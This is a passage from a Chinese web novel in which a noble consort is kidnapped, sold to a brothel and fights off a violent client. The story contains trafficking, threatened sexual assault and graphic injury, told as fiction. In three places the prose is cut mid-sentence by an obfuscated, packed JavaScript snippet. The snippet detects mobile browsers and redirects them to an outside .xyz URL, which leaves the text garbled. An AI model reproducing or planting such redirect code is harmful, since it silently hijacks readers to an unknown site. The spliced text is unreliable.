柳氏正了正神色,以从未有过的严肃姿态对云昭昭苦口婆心道:“昭儿,别怪娘小题大做,这周徵竟然连陛下的女人都敢觊觎,还有什么事情做不出来的?更别说你还这么花容月貌的,此等狂徒,你可千万不要与他在人少的地方单独行动。” 她说完仍不放心地呢喃道:“不行……我得让你爹派人给薛炼递个信儿去,告诉他——” 不等她说完,云昭昭赶紧拉住了她,岔开了这个话题。 “娘,你跟我说实话,家里变卖了这多么东西,到底用到何处去了?” 结果柳氏也摇了摇头说:“我也不知,你爹那老头子,他刻意瞒着我,说什么也不肯跟我说。你好不容易回来一趟,晚上娘吩咐人给你做好吃的,到时候你再好好套套他的话?” “娘,我今天出宫乃是为了追查汀雪的事情,还赶着得回去呢,我只有短短十天时间,宫里也有好多要查的。” 柳氏面露憾色,她虽然不舍,但也不想让云昭昭问难,只好关切道:“汀雪那丫头是出了何事啊?” 云昭昭便跟柳氏讲了一遍这几天发生的事,并结合了周徵的讲述与自己的调查,将汀雪谋杀秋儿,吊死逐月,毒死纯容华,以及借嬷嬷之死掉包逃走几件事一一讲与柳氏听。 柳氏听完后深感震撼,表示她从未想过汀雪一个小姑娘,竟然能下得去那么狠的手。 “她背后还有人指点,这是她亲口对武安侯说的。” 云昭昭趁机以自己失忆为托词,向柳氏打听汀雪在家中的情况。 “汀雪这姑娘,年纪虽小,做事却十分稳妥,我之前也是欣赏她处事沉稳,且性格文静不闹腾,和流霜一起,一静一动,性子正好互补,才让她到你身边照顾的。这么多年,她在你身边伺候,也尽心尽力,从未出过什么岔子,哎,可真是知人知面,不自信啊……” 柳氏说着有些自责,云昭昭只好劝慰了她几句。 她本想从家里入手,看看汀雪在家中有没有什么异样,但现在听柳氏所言,果然还是扑了个空。 她实在不想白来一趟,忽然脑中灵光一动,想起之前汀雪曾跟自己提起,她是被云府收养的,便向柳氏打听当初收养汀雪的情况。 没想到柳氏竟然对十几年前的事还历历在目。 当时见到汀雪的时候,正是倭寇横行,屡屡进犯大周东南沿海一带的时候,因为周徵的父亲,老武安侯周嵘与倭寇勾结,有所往来,导致大周的战船在同倭寇的海战中屡吃败仗,损失惨重。 战争让当时东南沿海各地的百姓流离失所,不少人为了躲避斩落,只能一路北上。当时京城的养济院里收留了许多从东边流浪至此的流民,柳氏心善,便经常带着年幼的女儿前去布施,接济他们,而其中一些身体健康,看着规矩的男孩女儿便被她接回了云府,当做家生的下人养着。 汀雪便是在那个时候遇见的,据柳氏所说,那时汀雪在孩子中看着虽然瘦小,但是却有着一股子野草一样的韧劲儿和倔强,不少男孩子欺负她,她都拼了命地要咬回去。 反而,面对小时候就盛气凌人,像个小大人一样的原身,在其他孩子都怯懦地敬而远之的情况下,汀雪却显得格外亲近,甚至小心翼翼地跟原身主动示好。柳氏因为身边只有原身这一独女,怕她平时孤单,见到这个小女孩与她投缘,便好心收留了她,取名汀雪。 听了柳氏所述,云昭昭忍不住问道:“娘,汀雪也是从东南边过来的流民吗?可她之前却跟我说是家里闹了饥荒才来到京城的。” 柳氏说:“应该是吧,当时养济院里光是接收流民就已人满为患了。或许,战争也给他们那里带来了饥荒吧。” “那您还记不记得,她在养济院里有没有什么走得近的人?”云昭昭又问。 “这娘哪里会知道啊,”柳氏说,“不过你这么说,娘想起当时京兆尹为了安置流民,雇了名妇人在那里为他们做饭。那妇人如今正好在国子监祭酒家中做事,他家夫人与我还有几分投缘,这样吧,明日娘就上门去拜访,帮你打听一下汀雪的事。” 云昭昭见事情可能有了线索,心里终于感觉到了一丝希望。她靠在柳氏怀中,把她当做自己的亲妈一样撒了会儿娇,在柳氏再三叮嘱她小心周徵之后,才依依不舍地离开了母亲,又告别了云琛,同周徵一道出了云府。 二人沿着来时的路走回宫,下午时分,街道旁不少小贩为了晚上的夜市都陆续开始摆摊搭台子了。街上的行人也比中午时多了不少,走着走着难免会碰上些摩肩接踵的时候。 这时,只见人群中两名东瀛打扮的男人朝着他们二人的方向走来,他们说着听不懂的东瀛话,指着周围的商铺,似乎是在商量着什么。 其中一人擦肩而过时,还不小心撞了云昭昭的胳膊一下。 云昭昭嘴里低低地骂了一句,揉了揉胳膊,发现周徵的脚步突然停了。 “怎么了?”她问。 “不太好,刚刚那两个男人是东瀛人,他们好像在商量与我大周军中有关的事情。” “你竟然听得懂东瀛话?”云昭昭惊讶地问。 周徵点了点头,心不在焉地“嗯”了一声,他抬头望了一眼远处已经可以看见轮廓的宁远门,对云昭昭说: “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108332|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行,我得跟去看看。前面就是宁远门了,还请娘娘自己先行回宫。” 听他说要去跟踪两名东瀛人,云昭昭心里立刻有了计较。 当即爽快地冲云琛摆摆手道:“去吧去吧,肯定是军中的事情重要,我自己回去就行。” 她站在原处,垫着脚望了望,见周徵已经走远不见了踪影后,才依照着记忆中的路线,往之前自己意图逃跑时,去过的那家当铺走去。 她正愁没机会赎回昭文皇后的玫瑰金簪呢!而且她还答应了易琉璃,要帮她寻些有趣的话本子回宫。 结果,在连续问路了好几个人,绕了好几个街区后,云昭昭终于看到了那颗有些瘆人的老槐树,此刻它已落光了叶片,只剩张牙舞爪的枝丫,像是地底下钻出来的枯瘦恶鬼,正朝着路过的行人讨债呢。 那间记忆里的当铺就在槐树旁的巷子深处,云昭昭走到门口时,一眼就认出了柜台后的掌柜。 “掌柜的!” 掌柜见云昭昭衣着气质不俗,连忙热情地笑脸相迎,“哟,这位姑娘光临小店,可是有什么好东西要当吗?” 云昭昭说:“上个月的一个夜里,我让我家小厮来这里当了一只玫瑰金簪,我今天来是想将它赎回来。” 说着云昭昭从怀中摸出当时的凭据,递给掌柜。 掌柜一看,立马变了语气,吞吞吐吐道:“不瞒姑娘,这簪子前些时日已经被人买走了……” “什么?”云昭昭气得不行,“我这才当了一个月……你怎么就能让别人买走呢。” 掌柜赶紧解释道:“实不相瞒,姑娘的小厮当时,当的是死当。” 云昭昭一听顿时感觉天旋地转,她当时怎么就那么蠢,想着自己再也不回来了,就把这等稀罕的东西,只收了一百两就当掉了呢,还是死当! 云昭昭怒气冲冲地盯着掌柜,非要同他理论,生怕他是知道东西的价值,不想卖故意以被人买走了为托词诓她。 掌柜的拗不过她,只好求爷爷告奶奶地说:“女菩萨,女祖宗,小店开在此处已有三十年了,做的都是诚信买卖,从不讹人。” 云昭昭心想,你还诚信,当初就是你说那簪子素金的,只值一百两的。 “哎呀,不瞒您啊,真的被人买走了!您就是把我这店铺翻个底儿朝天也找不出来啊!” “那你可还记得,是何人买走了?”云昭昭还抱有最后一丝希望。 掌柜的眼睛滴溜溜地转了几圈,想了想后回答:“哎哟,这也有些时日了,我这一天里,来来往往多少客人,这怎么能记得清呢?我只记得是个俊俏的男子买走的。” 云昭昭瞬间绝望了。 这京城里无数少爷公子,男的,俊俏的,没有一万也有八千,茫茫人海,她到底要怎么去找啊! 难道非要她在路上,见一个帅哥就拉着人家问有没有买她的簪子吗?说不定人家还是买来送给自己的妻子或者心爱姑娘的呢! 云昭昭颓丧地同掌柜告了辞,拖着步子,摇摇晃晃地走出当铺门。 穿过几个街角,路过那颗丑陋的老槐树时,她下意识地朝着树的方向看了看,只见两名五大三粗的流浪汉蹲在树下,像是在倒腾着什么东西。看到他经过,两人浑浊的目光中透着一丝惊喜与贪婪。 这里行人稀少,云昭昭心头不免有些紧张,于是她加快了脚步,甚至下意识地小跑了起来。 几只乌鸦随着云昭昭的路过受惊地飞起,发出哇呀呀哭丧的惨叫。 紧接着,一个重物邦地一下砸中了她的后脑勺,她一声闷哼,短暂的疼痛袭来,随后便眼前一黑,暂时失去了意识。 57. 劫持 闷热。潮湿。颠簸。 云昭昭再醒来的时候,发现自己被人绑着装进了一个又脏又破的麻袋里。 逼仄的、伸展不开手脚的空间。 浑浊的、带着浓烈汗臭的空气。 还有抬着她的两个男人身上灼热的温度…… 她的胃里一阵翻江倒海,上下的颠簸差点儿让她吐了出来。 但一想到吐出来只会吐在自己身上,反而弄得更加恶心,她便只能竭尽所能地强忍住干呕的冲动,全神贯注地平复着呼吸。 这时,她听见那两个流浪汉,操着一口不知道是哪里的方言,开始商讨要怎么处理她。 她立刻竖起耳朵,刚才的恶心劲儿居然就这么生生地被她忍了过去。 只听其中一个男人嗓音浑厚、粗粝,像只发1情的公狗一样一喘一喘地兴奋道: “二麻子,咱哥俩今天真是走了大运了。这小娘们细皮嫩肉,长的跟天仙似的,刚才咱打晕她以后,我还趁机摸了摸她的手,那手又软又滑,跟嫩豆腐一样滑溜,啧啧……” 他发出一串地皮流氓般的猥琐笑声,让云昭昭不寒而栗。 一想到自己又被偷袭,还被占了便宜,她简直恨不得一脚将这男人的下1身踹烂。 “我说王大牛,这人你摸摸也就得了,可别想打什么歪主意!”被称作二麻子的男人接过话道,他声音尖细,有些沙哑,像是一只漏了洞的风箱。 “草,二麻子你傻吗?”王大牛说道,“咱哥俩平时处处讨女人嫌,连咱村里那满脸麻子的干瘦婆娘都看不上咱们,咱们何德何能能拥有这样的姑娘啊!老子回去一定要好好享受一番。” “享受个屁!”那二麻子恶狠狠地啐了一口,“你这个蠢货,我看你的牛脑子里就只剩下男女那点儿破事儿了!” 那王大牛被骂了也不生气,只是憨憨地笑笑。 “嘿嘿,咱俩这段时间赌的钱全都输出去了,连个子儿也不剩,老子这不是好久没那啥,想得慌吗?” 王大牛又道:“既然二麻子你聪明,那你说,这有现成的漂亮婆娘不碰,还能干啥?” 二麻子又忍不住骂了他一句,然后说:“你想想,这娘们身上的衣服都是上好的丝绸的,一看就是这京城里那个大官儿家里的人。” “我跟你说啊王大牛,这种娘们,平时养尊处优惯了,哪能瞧得上咱们?咱把她留在身边,她既干不了活儿,还得咱们伺候她,要她伺候咱们那,肯定也不如那些窑姐儿痛快!” 这二麻子确实比王大牛聪明多了,脑子也灵活,不片刻他便想到一个主意。 “我说啊,咱们不如把她卖到京城里最大的那醉仙楼,卖个好价钱,就能保咱兄弟俩后半辈子高枕无忧!” 王大牛一听,不禁感叹道:“我艹1他1娘的,还得是你呀,二麻子!那就麻溜的,咱赶紧把人弄过去呗!” 云昭昭听得心里一阵恶寒。 今天她到底是得罪了哪路神仙,好不容易得了出宫的机会却出门不利,不仅昭文皇后的玫瑰簪子没赎回来,竟还要被人绑了给卖到青楼去。 云昭昭恨得牙痒痒,可她如今手脚被绑,再生气也无济于事。于是她只好冷静下来,打算与这俩个流浪汉谈判。 “两位大哥!两位大哥!” “靠,谁在说话?”王大牛被她突如其来的发声吓了一跳。 “你个傻蛋!”二麻子狠狠打了他一下道,“是咱肩上扛的那女的,她醒了。” “哦哦哦,醒了啊,这么快就醒了啊。”王大牛后知后觉道,“声音还怪好听的勒,嘿嘿嘿……” 云昭昭清了清嗓子,故意柔声道:“小女子知道两位大哥也有难处,乃是不得已才将我绑了。实不相瞒,小女子姓云,父亲是当朝内阁首辅云琛,两位大哥若是能将我送回云府,我便告诉父母我是在外面遭了歹人被二位所救,定有重礼相谢。” 那王大牛一听,喃喃道:“内阁首辅云琛,好像是个很大的官儿吧。那肯定家里金银珠宝样样不缺吧!” 云昭昭道:“正是,我家要什么有什么,房顶上都嵌着珊瑚玛瑙,连吃饭的碗都是黄金做的呢。这样,到时候让我父亲给你们黄金千两作为答谢可好?” “黄金,还是一千两!”王大牛立刻心动了,连声答道好好好,激动得舌头都打卷儿了。 “啪——”谁知二麻子直接给了他一巴掌,怒道,“好什么好!没听出这婆娘在诓咱们那!” “谁不知道那内阁首辅云琛的女儿是当今皇帝的贵妃,她怎么可能出宫到这种偏僻地方来!” “况且,就算她真是那云琛的女儿,咱们俩就这么把她送上门去,她到时候向她爹一告状,咱俩肯定是活不成了!赶紧地,先把人弄到醉仙楼去再说!” 见根本忽悠不了他们,云昭昭没有办法,只好像一只挺尸的咸鱼一般在麻袋里来回挣扎,蠕动。 一边扑腾她还一边大喊:“救命!救命啊!绑架了!杀人了!” 那俩人明显是晃了,抬着她的手有些不稳,麻袋里的颠簸变得更加剧烈。 云昭昭以为有用,便横下心,对着托着麻袋的一只手,就是狠狠一口,一股血腥味儿瞬间弥漫进她的口中。 “艹!” 听声音被咬的那人像是王大牛,他大叫一声,手一抖,装着云昭昭的麻袋一个不稳,重重地摔到了地上,嗑得云昭昭眼冒金星。 “靠!臭娘们儿!”王大牛被咬疼了,气得连踹了麻袋几脚,正好踹到了云昭昭的小腹上,疼得她眼泪一下子涌了出来。 “臭娘们儿,我呸!”王大牛朝着麻袋吐了口唾沫,骂骂咧咧道,“看老子不好好弄弄你!” 二麻子见状赶紧拦着他,指责道:“你这是干嘛!咱们要把人卖到醉仙楼的,你弄伤了,到时候卖不出好价钱了。反正到了那儿,哼,自有她好果子吃。” 云昭昭见他们二人重新准备将麻袋扛起,也顾不上肚子钻心的疼痛,便发了狠地忍着恶臭,撕咬着麻袋,不一会儿便将那粗麻制成的袋子,咬出了一个很小的口子。 两名流浪汉见她如此难搞,简直又惊又怕。那二麻子一寻思,开始怀疑她是否真是传闻中泼辣跋扈的云贵妃本人。 他与王大牛一合计,唯恐被牵连没了性命,便用一块脏帕子堵住了云昭昭的嘴,并加快了脚下的步伐,将云昭昭卖到醉仙楼去,等拿到了钱,一走了之后,便也将风险转移给了醉仙楼。 很快,耳边渐渐出现了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111565|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 市井嘈杂声,又过了一会儿,周遭的声音一边,喧嚣中响着阵阵丝竹的靡靡之音,这里已是京城中汇集大大小小烟花之地的清漪坊。 醉仙楼是京城勾栏瓦肆中最大也是最有名的一处,楼中清倌红倌皆有,招待的都是往来的富商贵宾,以及京中的王公贵族,富家子弟们。其中最有名的,便是醉仙楼的头牌,芷清。 相传她姿容绝艳,气质堪比谪仙下凡,且琴棋书画样样精通,多少人来醉仙楼为的就是窥得美人芳容,无数贵族公子们为博她一笑一掷千金,甚至京中一些侯门王府设宴时,也会邀请芷清前去作陪。 醉仙楼里一向都有拍卖花魁初夜的传统,但因为芷清如今是楼里的摇钱树,所以她如今还是清倌一名。她的初夜自然也在这风流场里备受瞩目,只是不知将来会被哪一位人傻钱多的纨绔公子拍去。 很快,王大牛和二麻子将云昭昭运到了醉仙楼。 当麻袋揭开时,一旁等着看货的老鸨以及陪同的两名龟奴一下子倒吸了一口凉气。 醉仙楼经营多年,在清漪坊算是底蕴最深的,楼中各色美女无数,妖娆的,清丽的……什么样的美女没有,更别说楼中花魁芷清更是名满京城,冠绝群芳的美人。 但比起眼前的云昭昭,都如鱼目对上珍珠,流萤对上星辰,一下子黯然失色。 老鸨见过的人与事颇多,当场就猜测出眼前的女子身份定是不凡。 她转了转眼珠,故意试探道:“两位爷,敢问这名姑娘姓甚名谁,家住何地,芳龄几何,与你们二人又是什么关系?” 王大牛与二麻子闻言面面相觑,半晌后,还是二麻子率先反应过来。 他没说云昭昭的身份,只是告诉老鸨,她是他们在山上遇到捡回家的,但因为他们两兄弟近日捉襟见肘,只怕养不起姑娘,便只好送到醉仙楼来,换点银钱,也让姑娘能过上好日子。 醉仙楼的老鸨是何等精明的人儿,当即猜到云昭昭恐怕是被这二人绑了来的。 她看破不点破,只媚笑着说醉仙楼如今经营也遇上了瓶颈,京中官兵对此地的盘查越来越严厉,谁家走丢了女儿,谁家不见了老婆,官府接到报案后便会第一时间来醉仙楼寻人,将这里翻个底儿朝天才肯罢休。 二麻子也算聪明,立马便听懂了老鸨话里的暗示。 没见过太多世面的他吓得腿软,他与王大牛整日赌钱,已欠了之前的黑赌坊五十两,被赌坊雇佣的打手追着打,一路被追到京城,像过街老鼠一般四处逃窜不说,还饥肠辘辘,只能去食肆外,小摊边捡点别人吃剩下的残羹冷炙充饥。 如今得了这个天上掉馅饼的机会,就算折价,也不肯轻易放弃。 二麻子本来开口要了一千两,结果被老鸨以云昭昭来历不明,醉仙楼要承担太多风险为由压到了二百两。 那二麻子哪肯,便又降到五百两,谁知老鸨发现云昭昭下1身的裙子上满是血迹,以为她在二人手中已受了糟蹋,便最终压价到三百两成交。 两名流浪汉拿了银子,终于松了一口气。 二人欢天喜地地在那卖身契上按了手印,甚至还极其“好心”地提醒老鸨: 这小娘们的性子极其刚烈,需要楼里好生调教,谨慎对待。 58. 再遇 二人走后,老鸨没有立刻让人给云昭昭松绑,而是捻着她的下巴瞅了瞅。 “哎,这么漂亮的脸蛋儿,可惜遭了那流氓的糟蹋,”她对身边两名龟奴说,“你们说,我应该把她安排到哪里才好!” 她话音刚落,便看见云昭昭恶狠狠地瞪着自己,虽然她嘴被堵着,但那双凤眸中盛着的火焰,仿佛要将她狠狠撕裂。 “果真,性子还挺烈的,看来是个刺头。还好给讲到了三百两银子。” 旁边一名龟奴凑到她跟前,以只有他们能听到声音小声提议道: “紫瑛姐,之前那西域来的宝石商人不是弄伤了咱们楼里好几个姑娘都嫌不够尽兴吗?今天正轮着他来楼里的时间,何不安排她去,正好两全其美。” 他口中的珠宝商人乃是从波斯而来,此人身高九尺,比起中原的汉人身材壮硕无比,而且在床上手段极其粗暴残忍,之前来楼里的时候弄得好几名姑娘受了伤,养了好久才好,耽误了不少她们接客的机会。 因此老鸨紫瑛一直害怕他的光临,而且因为此人经手的珠宝钻石常为极其稀有的孤品,都是送往京中王侯世家,甚至供给皇宫享用的,所以紫瑛也敢怒不敢言,生怕得罪了他。 现在经这龟奴一提醒,紫瑛立刻有了主意,低低地笑了两声。 “行啊,就按你说的办,晚上灯光伊凡老爷来了,就让她去作陪,正好也杀杀这小妮子的烈性。” “去,把红姑找来,让她带着流云和翠喜给这姑娘梳妆打扮。你们两个得在旁边看着,若是她反抗,就给我狠狠地打,只要不伤着脸就成。” 云昭昭被人带到了楼上的房间里。不一会儿,被称为红姑的女子带着两名丫头走了进来。 来人正是先前郭院判的妾室红珠,因着郭院判的去世,她一个人孤苦伶仃,又没了谋生的手段,便回到了醉仙楼。 楼中现任老鸨是与她同一批进来的姐妹紫瑛,昔日两人关系要好,因着她之前已被赎了身,便安排她协助自己管事,打理着醉仙楼。 红珠进来,看到了云昭昭,眼睛骤然一亮,只觉得这女子好生美丽,随后想到她今晚要被安排去陪波斯的珠宝商,目光又黯淡了下去。 她委身于郭院判后从未跟随其到过云府,因此也并不认识云昭昭。 想到如此明珠即将蒙尘,红珠不免对她生了些怜惜,走过去轻轻拍了拍她的脸,安抚道: “姑娘既然已经进了楼里,就得守些规矩,不是为了别人,而是为了自己。” “奴家看姑娘也是个聪明玲珑的,应当也是个识时务的聪明人,现在莫要再反抗了,否则外面那些龟奴不是好相与的,反抗也是伤了自己。现在,让奴家来为姑娘梳洗,可好?” 她说完看见被堵着嘴的云昭昭轻轻点了点头,便命两个丫头,流云与翠喜帮着将云昭昭身上绑着的身子解开。 她先前肚子被王大牛踹了几脚,不知伤到了哪里,下1身竟流了不少血,让她一动就疼得龇牙咧嘴的,红珠亲手帮她擦拭干净了腿上的血迹,并说明天一早便去为她安排大夫。 云昭昭见红珠面善,心里不免对她产生了一丝亲近之感。 她小心地试探道:“谢谢姐姐,实不相瞒,我是出门遭了歹人的暗算,被敲晕了卖到这里的,姐姐可否救我出去,妹妹自当以千金相报。” 她没有报上自己的家门,一是因为她虽得了太后的玉牌,但嫔妃擅自离宫本就是逾矩,二是因为她怕这事传出去,落人口舌,不仅让云家蒙羞不说,估计还会惹怒赵昶,让他迁怒于云琛。 谁知红珠想了想摇了摇头道:“看你也像是哪个大户人家的姑娘,可惜这醉仙楼四处都有身手厉害的龟奴看守着,你一个弱女子,要想出去可是难上加难。奴家在这楼里也是寄人篱下,有求于人,此事还需从长计议。” 云昭昭闻言,只好暂且打消了这个念头。 “还未问过姐姐如何称呼?” 红珠道:“奴家名唤红珠,楼里人都叫我红姑。” 可云昭昭却说:“姐姐看的也并不大我几岁,叫红姑老气横秋的多难听,我今后就叫你红珠姐姐吧。” 红珠心里对云昭昭又多了几分喜爱。待云昭昭梳妆好后,流云与翠喜一离开,她便悄悄拉上门,在云昭昭跟前坐下,叮嘱她: “今晚你要陪的是波斯来的一名珠宝商,咱们这儿都叫他伊凡老爷,他不似中原男子,力大无穷,你必不是他的对手,你身上还有伤,切记要顺着他,这样才能少受些苦。” 云昭昭听出了她话里的意思,见红珠在这里也没什么话语权,便只是从她点了点头,表示自己已经记下了。 红珠收起梳妆台上的首饰盒,轻叹了一口气,转身离开了房间。 待她一走,云昭昭便忍着疼,扶着肚子起身,走到一旁的窗户处,向外看了看。 这里乃是醉仙楼的三层,据地面越有四五米高,面朝清漪坊主街,楼下大门口、四个小角门处,都如同红珠说的,有不少龟奴守着。 只有二层楼道口的第一个房间外,有大门处屋顶瓦楞往外延伸出的一个小小空间,正好可以容一人经过。 云昭昭当即有了主意,她打算趁着晚上清漪坊的主街最热闹的时候,从窗户口翻出去,跳到那小平台上,再找机会跳到一层,到时候趁着人多,混乱之中说不定能成功逃跑。 她的出宫玉牌是太后私下赏给她的,这次的出宫本来也不敢让什么人知道,下午前往当铺更是背着周徵的。 若是今晚她没能回去,那宫里不知道得乱成什么样子。 若是赵昶发现她不在了,一定会怀疑是她私逃出宫,到时候不管是自己的爹娘,还是周徵薛炼,甚至是太后以及昭阳殿一宫的人,都会受她牵连。 所以不管如何,她今晚都必须从这里逃出去。 随着夜色的渐渐落幕,清漪坊内也渐渐热闹了起来,华灯初照,笙歌曼舞,醉仙楼的老鸨紫瑛也浓妆艳抹地站在门口迎着往来的贵客。 没过多久,门外的走廊便传来重重的脚步声,接着由老鸨紫瑛领着,一位身材壮硕得如同黑熊,长满络腮胡子的外国男人跟着她走了进来。 云昭昭在穿书前因为公司曾在中东延伸了重要业务,她便学习了一段时间阿拉伯语。虽然不至于说学得很好,但也能听懂个大概。 她听见那外国男人进来后,先是用一口并不流利的中文对老鸨表示了感谢,接着由听见他用阿拉伯语夸了一番她,言语中多有些露骨之语。 随后只听屋门“啪”地一声关上,狭小的房间里便只剩云昭昭与这个叫做伊凡的外国商人。 屋里点了熏香,那香貌似有暖情助兴的功效,浓郁的依兰、粉胡椒与麝香味纠缠交错,熏得人酒酣耳热。 伊凡的眼神如饿狼一般又凶又贪婪,一步一步朝云昭昭逼近,口中说着一些露骨的话。 “你是我见过的最漂亮的姑娘!”伊凡用阿拉伯语说道,“今天我非得尽兴不可!” 他说着边走边脱下外套,露出丑陋的身体,迫不及待地朝着坐在塌上的云昭昭压了过去。 云昭昭立马闪躲,让伊凡扑了个空,额头差点儿撞到旁边的柱子上。 因着云昭昭是新面孔,按以往的规矩,楼里新来的姑娘常常都是最听话的、最逆来顺受的。 所以伊凡明显没想到自己会在云昭昭这里栽跟头,登时一双蓝眼睛瞪得如铜铃一般,嘴里骂了些下流露骨的脏话,然后越发地兴奋了。 “真是一匹烈马,可惜,在波斯,别说是烈马了,就连最凶猛的狮子都死在过我的手下,今天我要定你了!” 一阵熏人的男性气息袭来,混合着房间里浓郁辛辣的香料味,呛得云昭昭几欲作呕。 她小腹受了内伤,还钻心地疼着,那熏香又让她身体发软,再拖下去恐怕凶多吉少。 于是,在伊凡恶心的咸猪手就要触碰到她皮肤的刹那,她看准了机会,使出初见时对付周徵的同一招,咬破了嘴唇,发狠地朝伊凡下1身那处踹去。 就算是周徵,当初也差点儿在云昭昭这一招之下吃了亏,更别说伊凡了。他身材更高大,更雄健,但也更笨重,甚至来不及躲闪,便被云昭昭踹中了要害,当即疼得捂着下1身哇哇乱叫,在地上痛苦的翻滚。 云昭昭居高临下地欣赏着伊凡的狼狈,用阿拉伯语甩下一句话: “可惜,你是我见过的最丑陋的男人,不仅脸丑陋无比,身体也丑陋无比,真恶心。” 但这叫做伊凡的外国人果真不是等闲之辈,在受了伤的情况下,竟爆发出惊人的蛮力,大吼一声,舔着唇从地上一下子翻了起来。 他气得双目血红,仿佛一头嗜血的猛兽,朝着云昭昭就扑了过去。 云昭昭立马按自己计划中的路线,准备从房间的窗户翻出去,再跳到二楼房檐处。 但谁料云昭昭小腹的内伤伤得着实不轻,在翻窗时幅度过大的动作拉扯到了伤口,让她疼得龇牙咧嘴,动作也有些停滞。 伊凡则正是抓住了这个破绽,一个箭步上前握住了云昭昭的脚踝。 纤细白皙的脚踝被他粗糙的大手抓着,如同易碎的细白瓷器,轻轻一捏便会碎掉。 云昭昭暗叫不好。 果然下一秒,只见伊凡手上一个使劲儿,云昭昭的脚踝骨便咔滋作响。 他的嘴角挂了淬了毒的笑意,骂道:“看你还怎么跑!” 说时迟那时快,云昭昭顶着钻心的剧痛,不知道从哪里来的勇气和力气,飞快地拔下了头上的簪子,对着伊凡的一只眼睛就是一戳! “啊啊啊啊啊——!” 醉仙楼里,男人凄厉愤怒的嘶吼瞬间打破了清漪坊的歌舞升平,无数的路人闻声赶来,好奇地凑在门口想要一探究竟。 紧接着,醉仙楼三层,一名紫衣女子从窗口摔下,紫色的纱衣如同翩跹的蝴蝶,忽然被人折了翅膀,从空中重重跌下,落在冰冷的地面。 众人忙不迭地要上前围观,却被醉仙楼的龟奴们厉声何止,接着老鸨紫瑛出场,脸色格外阴沉。 她立刻指挥人带走了地上的那名女子,让冲着看热闹而来的人们好不失望。 · 云昭昭做了一个很长很长的恶梦,梦里漆黑一片,浑浊的空气里散发着令人作呕的恶臭,提醒着她所处的地方。 这里是关着大周朝最臭名昭著的政治囚犯的诏狱。 这里没有光明,只有无尽的,如深渊一般的黑暗…… 这里没有笑容,只有断断续续的哭声与难听的咒骂…… 这里更没有作为人的尊严,只有无尽的折辱,与苟延残喘…… 这里不是人间,而是真正的阿鼻地狱。 她匍匐在地上,如同前锦衣卫指挥使冯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115352|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潇一般,被跳断了手筋与脚筋,抽去了全身的骨骼…… 四肢的麻木,五脏六腑钻心的剧痛,馊臭的饭菜,随处乱窜的蟑螂老鼠,已经周徵冷漠的、没有一丝感情的脸…… 云昭昭腾地一下从噩梦中惊醒,出了一身冷汗。 但醒来以后,她却迷惑了。 因为周围所处的环境比她那个瘆人的噩梦更为真实。 黑暗,伸手不见五指的黑暗…… 更可怕的是,当云昭昭下意识地动了动身体后,却发现手脚没有任何力气,如同一摊软烂的泥,甚至是一片麻木,让她感觉不到四肢的存在。 她的五脏六腑仿佛被一把锯子从中间撕裂一般,一阵一阵,钻心地疼痛。 这让云昭昭开始怀疑自己究竟是在梦里,还是在现实,究竟死了还是活着。 正好这时,她听见了不远处响起嘈杂的脚步声。 紧接着,似乎是隔壁的一间房门被吱呀一声推开,老鸨紫瑛与红珠的声音在一墙之隔的地方响起。 这让云昭昭大大地松了一口气,还好她还活着,还在醉仙楼里,只是不知道,此刻距离她坠楼,过去了多久的光景。 “阿紫姐姐,”只听红珠说道,“那位姑娘你将她关在哪里了?” 紫瑛道:“就锁在隔壁的杂物间里,你不准再去找她了!这妮子当真是我小瞧她了,我让人给她喂了软筋散,先好好教训她一番,给她点儿厉害瞧瞧。” “可是她身上受了伤,恐怕还要请个大夫来给她诊治。” “哼,还诊治呢,那伊凡老爷这次伤得挺重,那只眼睛估计也不成了,这得让我赔多少!本来现在生意就一天比一天难做了。” 紫瑛气呼呼的,结果说到这里又补了一句:“不过他以后估计来不了咱们楼里了,这对咱们楼里的姑娘来说也是个好事,当然也是唯一的好事。” 听到这里云昭昭又觉得宽慰了不少,看来现在离她摔下楼并未过去多久,若是她没猜错的话,她应该只昏迷了两三个时辰。 隔壁红珠与紫瑛依旧在有一搭没一搭地说话。 听紫瑛的语气有所缓和,似乎是消了气,红珠连忙提议道:“阿紫姐姐,我看那姑娘气质模样,怕是京中哪个大户人家的姑娘,咱们这样对人家,万一得罪了哪个大人物,生意岂不是更做不成了。” 紫瑛没好气地说:“我买下这妮子花了三百两银子,这算是少了。伊凡老爷那边估计没有几千两银子都下不来,你就想让我把人放了。” 红珠闻言,沉吟半晌后,给她出了个主意。 